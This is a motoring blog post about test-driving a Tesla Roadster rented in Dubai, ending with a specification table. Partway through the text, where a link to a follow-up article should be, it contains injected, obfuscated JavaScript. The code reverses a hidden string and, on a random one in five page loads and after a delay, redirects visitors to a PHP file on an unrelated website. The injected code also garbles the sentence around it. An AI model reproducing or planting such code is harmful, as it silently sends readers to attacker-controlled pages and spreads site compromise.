At crankandpiston we’re obviously fanatical about the internal combustion engine. For us, a life without it is no life at all. Over the past few years, though, more and more manufacturers have been bowing to international pressure from environmentalists, and the result has been cars that are cleaner and greener than ever before. And we applaud that. But the greenest form of motorised transport – discounting walking, or (Good Lord!) using trains and buses – is currently electrical.
The Middle East is full to bursting with big, petrol engined motors, so the very idea of actually enjoying a spirited drive with anything less than four cylinders is foreign to most of us. So how about no cylinders? Can a sports car with only a battery pack sending power to the rear wheels really bring a smile to our mugs? There was only one way to find out: get hold of a Tesla Roadster.
We thought finding a Tesla in the UAE would be a mission so impossible that Ethan Hunt would turn it down. But we were wrong. Dubai’s Green Car Rental is trying its level best to educate us about our impact on the planet’s resources, and has a fleet of hybrids and electric cars available for long-term hire.
And, while they’re patiently waiting for their Fisker Karma to arrive on these dusty shores, this lovely blue Tesla is the real conversation piece. And they let us have two whole days behind its tiny steering wheel to see if guilt-free performance motoring is something that gets our collective pulses racing.
With the equivalent of 1,000 laptop batteries putting 248bhp through the rear boots, on paper the Roadster doesn’t seem like a 911-beater. But here’s the thing: there’s only one forward gear and all that power is available from the word go. This is an extremely simple yet clever powertrain that could only have originated in one place – Silicon Valley.
Yes, it’s an American sports car, but with very British sensibilities, being based on the superb Lotus Elise. Lotus may have supplied Tesla with the carbonfibre bodies, but the rest is pure California. Okay, that’s enough from the company brochure. $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/201218348/tesla-roadster-day-two-to-the-streets/” target=”_blank”>We’re itching to give it a go.
| Tesla Roadster | |
|---|---|
| Motor: | 375 volt AC induction air-cooled electric motor with variable frequency drive |
| Battery: | Custom micro-processor controlled lithium-ion |
| Power: | 238+bhp @4500-8500rpm |
| Torque: | 280+lb ft @ 0-4500rpm |
| Transmission: | Single-speed fixed gear / rear-wheel drive / limited slip differential / traction control |
| Front suspension: | Double wishbones / co-axial coil spring telescopic dampers / anit-roll bar |
| Rear suspension: | Double wishbones / co-axial coil spring telescopic dampers / anti-roll bar |
| Brakes: | Ventilated carbon-ceramic discs front and rear |
| Tyres: | 175/55 R16 (front) / 225/45 R17 (rear) / Yokohama Neova AD07 |
| Weight (kerb) | 1283kg |
| Power-to-weight: | 196bhp/ton |
| 0-100kph: | 3.9sec |
| Top speed: | 201kph |
| Price: | $109,000 ($1007 per day from Green Car Rental) |
